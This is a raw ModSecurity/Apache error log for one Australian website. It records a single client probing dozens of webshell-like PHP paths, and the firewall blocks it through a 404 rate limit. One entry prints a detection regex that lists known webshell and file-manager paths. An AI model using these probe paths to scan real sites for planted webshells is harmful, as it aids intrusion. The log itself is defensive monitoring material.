[Tue Apr 14 23:53:36.051322 2026] [:error] [pid 59986:tid 60023] [client 128.251.16.122:54172] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "ad5jAJ6axKeW6bX4H7fUewAAAEM"]
[Tue Apr 14 23:53:36.836006 2026] [:error] [pid 3810:tid 3830] [client 128.251.16.122:5156] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "ad5jAMqc5XaYZhFXVGfqKgAAAZE"]
[Tue Apr 14 23:53:37.566690 2026] [:error] [pid 3810:tid 3816] [client 128.251.16.122:53839] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "ad5jAcqc5XaYZhFXVGfqLQAAAYM"]
[Tue Apr 14 23:53:38.867766 2026] [:error] [pid 59986:tid 60032] [client 128.251.16.122:45133] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "ad5jAp6axKeW6bX4H7fUhAAAAEw"]
[Tue Apr 14 23:53:42.748486 2026] [:error] [pid 59986:tid 60044] [client 128.251.16.122:65096] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "ad5jBp6axKeW6bX4H7fUiQAAAFg"]
[Tue Apr 14 23:53:43.844044 2026] [:error] [pid 59986:tid 60036] [client 128.251.16.122:63269] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "ad5jB56axKeW6bX4H7fUiwAAAFA"]
[Tue Apr 14 23:53:45.556545 2026] [:error] [pid 3810:tid 3814] [client 128.251.16.122:5152] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "ad5jCcqc5XaYZhFXVGfqQgAAAYE"]
[Tue Apr 14 23:53:46.700114 2026] [:error] [pid 59986:tid 60043] [client 128.251.16.122:5164] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "ad5jCp6axKeW6bX4H7fUlwAAAFc"]
[Tue Apr 14 23:53:53.350837 2026] [:error] [pid 59987:tid 60060] [client 128.251.16.122:59762] [client 128.251.16.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "ad5jEVWpk-Tfi6_vLKpc5QAAAI0"]
[Tue Apr 14 23:54:00.521893 2026] [:error] [pid 59986:tid 60043] [client 128.251.16.122:45184] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "ad5jGJ6axKeW6bX4H7fUzgAAAFc"]
[Tue Apr 14 23:54:01.709559 2026] [:error] [pid 3810:tid 3826] [client 128.251.16.122:56538] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "ad5jGcqc5XaYZhFXVGfqawAAAY0"]
[Tue Apr 14 23:54:02.665775 2026] [:error] [pid 59986:tid 60031] [client 128.251.16.122:51686] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "ad5jGp6axKeW6bX4H7fU1AAAAEs"]
[Tue Apr 14 23:54:09.749595 2026] [:error] [pid 22177:tid 22192] [client 128.251.16.122:55376] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "ad5jIYTVeJSXHDIlEDupcgAAAQ0"]
[Tue Apr 14 23:54:17.279307 2026] [:error] [pid 59986:tid 60022] [client 128.251.16.122:60197] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "ad5jKZ6axKeW6bX4H7fU5gAAAEI"]
[Tue Apr 14 23:54:18.825571 2026] [:error] [pid 3810:tid 3821] [client 128.251.16.122:50246] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "ad5jKsqc5XaYZhFXVGfqcQAAAYg"]
[Tue Apr 14 23:54:20.125545 2026] [:error] [pid 59985:tid 60006] [client 128.251.16.122:50252] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "ad5jLOgHaxkvLE6V1kmA6AAAAA0"]
[Tue Apr 14 23:54:21.003047 2026] [:error] [pid 3810:tid 3818] [client 128.251.16.122:60207] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xff.php"] [unique_id "ad5jLcqc5XaYZhFXVGfqdQAAAYU"]
[Tue Apr 14 23:54:21.992671 2026] [:error] [pid 3778:tid 3793] [client 128.251.16.122:55401] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "ad5jLRx5DfpNmYF_PaEXHwAAAU0"]
[Tue Apr 14 23:54:23.229199 2026] [:error] [pid 3810:tid 3832] [client 128.251.16.122:55947] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "ad5jL8qc5XaYZhFXVGfqeAAAAZM"]
[Tue Apr 14 23:54:24.381921 2026] [:error] [pid 59985:tid 60003] [client 128.251.16.122:60174] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "ad5jMOgHaxkvLE6V1kmA6wAAAAo"]
[Tue Apr 14 23:54:26.454876 2026] [:error] [pid 3810:tid 3820] [client 128.251.16.122:58947] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lib.php"] [unique_id "ad5jMsqc5XaYZhFXVGfqegAAAYc"]
[Tue Apr 14 23:54:35.323136 2026] [:error] [pid 60074:tid 60080] [client 128.251.16.122:60206] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/roksad1.php"] [unique_id "ad5jO-tqnEmNU9vpHCndUwAAAMQ"]
[Tue Apr 14 23:54:43.672568 2026] [:error] [pid 59985:tid 60003] [client 128.251.16.122:59833] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "ad5jQ-gHaxkvLE6V1kmA-gAAAAo"]
[Tue Apr 14 23:54:44.438900 2026] [:error] [pid 3810:tid 3823] [client 128.251.16.122:63716] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "ad5jRMqc5XaYZhFXVGfqlQAAAYo"]
[Tue Apr 14 23:54:47.442171 2026] [:error] [pid 59987:tid 60062] [client 128.251.16.122:59388] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "ad5jR1Wpk-Tfi6_vLKpdEAAAAI8"]
[Tue Apr 14 23:54:51.430597 2026] [:error] [pid 59986:tid 60021] [client 128.251.16.122:59383] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "ad5jS56axKeW6bX4H7fVGQAAAEE"]
[Tue Apr 14 23:54:52.207937 2026] [:error] [pid 59985:tid 59996] [client 128.251.16.122:59351] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "ad5jTOgHaxkvLE6V1kmBBQAAAAM"]
[Tue Apr 14 23:54:53.054405 2026] [:error] [pid 59986:tid 60038] [client 128.251.16.122:51406] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "ad5jTZ6axKeW6bX4H7fVHgAAAFI"]
[Tue Apr 14 23:54:58.422835 2026] [:error] [pid 3778:tid 3796] [client 128.251.16.122:45931] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "ad5jUhx5DfpNmYF_PaEXagAAAVA"]
[Tue Apr 14 23:55:09.281003 2026] [:error] [pid 59987:tid 60061] [client 128.251.16.122:59778] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "ad5jXVWpk-Tfi6_vLKpdKgAAAI4"]
[Tue Apr 14 23:55:10.843783 2026] [:error] [pid 3810:tid 3813] [client 128.251.16.122:53460] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "ad5jXsqc5XaYZhFXVGfqqgAAAYA"]
[Tue Apr 14 23:55:13.384378 2026] [:error] [pid 59986:tid 60038] [client 128.251.16.122:53470] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "ad5jYZ6axKeW6bX4H7fVVgAAAFI"]
[Tue Apr 14 23:55:15.791463 2026] [:error] [pid 3810:tid 3828] [client 128.251.16.122:60552] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws85.php"] [unique_id "ad5jY8qc5XaYZhFXVGfqrgAAAY8"]
[Tue Apr 14 23:55:17.617106 2026] [:error] [pid 59986:tid 60037] [client 128.251.16.122:60586] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws87.php"] [unique_id "ad5jZZ6axKeW6bX4H7fVZwAAAFE"]
[Tue Apr 14 23:55:27.602685 2026] [:error] [pid 59987:tid 60059] [client 128.251.16.122:48919] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws87.php"] [unique_id "ad5jb1Wpk-Tfi6_vLKpdWAAAAIw"]
[Tue Apr 14 23:55:29.560398 2026] [:error] [pid 59987:tid 60064] [client 128.251.16.122:48911] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws87.php"] [unique_id "ad5jcVWpk-Tfi6_vLKpdZgAAAJE"]
[Tue Apr 14 23:55:31.121459 2026] [:error] [pid 22177:tid 22196] [client 128.251.16.122:10361] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws87.php"] [unique_id "ad5jc4TVeJSXHDIlEDupsgAAARE"]
[Tue Apr 14 23:55:32.621038 2026] [:error] [pid 3810:tid 3835] [client 128.251.16.122:10312] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "ad5jdMqc5XaYZhFXVGfqyQAAAZY"]
[Tue Apr 14 23:55:35.743072 2026] [:error] [pid 22177:tid 22194] [client 128.251.16.122:48907] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "ad5jd4TVeJSXHDIlEDuptgAAAQ8"]
[Tue Apr 14 23:55:38.471917 2026] [:error] [pid 60074:tid 60092] [client 128.251.16.122:60555] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "ad5jeutqnEmNU9vpHCndogAAANA"]
[Tue Apr 14 23:55:40.316845 2026] [:error] [pid 59985:tid 59995] [client 128.251.16.122:48925] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/layout.php"] [unique_id "ad5jfOgHaxkvLE6V1kmBLgAAAAI"]
[Tue Apr 14 23:55:41.729863 2026] [:error] [pid 22177:tid 22189] [client 128.251.16.122:52988] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r2.php"] [unique_id "ad5jfYTVeJSXHDIlEDupwwAAAQo"]
[Tue Apr 14 23:55:44.548978 2026] [:error] [pid 59986:tid 60026] [client 128.251.16.122:5614] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/r2.php"] [unique_id "ad5jgJ6axKeW6bX4H7fVdwAAAEY"]
[Tue Apr 14 23:56:04.668745 2026] [:error] [pid 59985:tid 59994] [client 128.251.16.122:60888] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ah25.php"] [unique_id "ad5jlOgHaxkvLE6V1kmBRQAAAAE"]
[Tue Apr 14 23:56:06.140790 2026] [:error] [pid 59986:tid 60035] [client 128.251.16.122:55589] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ah25.php"] [unique_id "ad5jlp6axKeW6bX4H7fVuQAAAE8"]
[Tue Apr 14 23:56:16.108063 2026] [:error] [pid 59987:tid 60066] [client 128.251.16.122:64593] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ga.php"] [unique_id "ad5joFWpk-Tfi6_vLKpeGAAAAJM"]
[Tue Apr 14 23:56:22.375298 2026] [:error] [pid 3778:tid 3796] [client 128.251.16.122:13463] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ga.php"] [unique_id "ad5jphx5DfpNmYF_PaEX7QAAAVA"]
[Tue Apr 14 23:56:23.269632 2026] [:error] [pid 59986:tid 60020] [client 128.251.16.122:5921] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ga.php"] [unique_id "ad5jp56axKeW6bX4H7fWVQAAAEA"]
[Tue Apr 14 23:56:23.981924 2026] [:error] [pid 59986:tid 60034] [client 128.251.16.122:57055] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ga.php"] [unique_id "ad5jp56axKeW6bX4H7fWWwAAAE4"]
[Tue Apr 14 23:56:33.440708 2026] [:error] [pid 3778:tid 3794] [client 128.251.16.122:59396] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xozx.php"] [unique_id "ad5jsRx5DfpNmYF_PaEYBAAAAU4"]
[Tue Apr 14 23:56:34.760822 2026] [:error] [pid 59986:tid 60041] [client 128.251.16.122:58140] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xozx.php"] [unique_id "ad5jsp6axKeW6bX4H7fWeQAAAFU"]
[Tue Apr 14 23:56:35.812878 2026] [:error] [pid 59986:tid 60033] [client 128.251.16.122:58112] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xozx.php"] [unique_id "ad5js56axKeW6bX4H7fWegAAAE0"]
[Tue Apr 14 23:56:37.896527 2026] [:error] [pid 59987:tid 60054] [client 128.251.16.122:58127] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xozx.php"] [unique_id "ad5jtVWpk-Tfi6_vLKpeLwAAAIc"]
[Tue Apr 14 23:56:42.535875 2026] [:error] [pid 3810:tid 3835] [client 128.251.16.122:49284] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1100.php"] [unique_id "ad5jusqc5XaYZhFXVGfrOwAAAZY"]
[Tue Apr 14 23:56:47.499799 2026] [:error] [pid 59986:tid 60023] [client 128.251.16.122:5944] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1100.php"] [unique_id "ad5jv56axKeW6bX4H7fWiwAAAEM"]
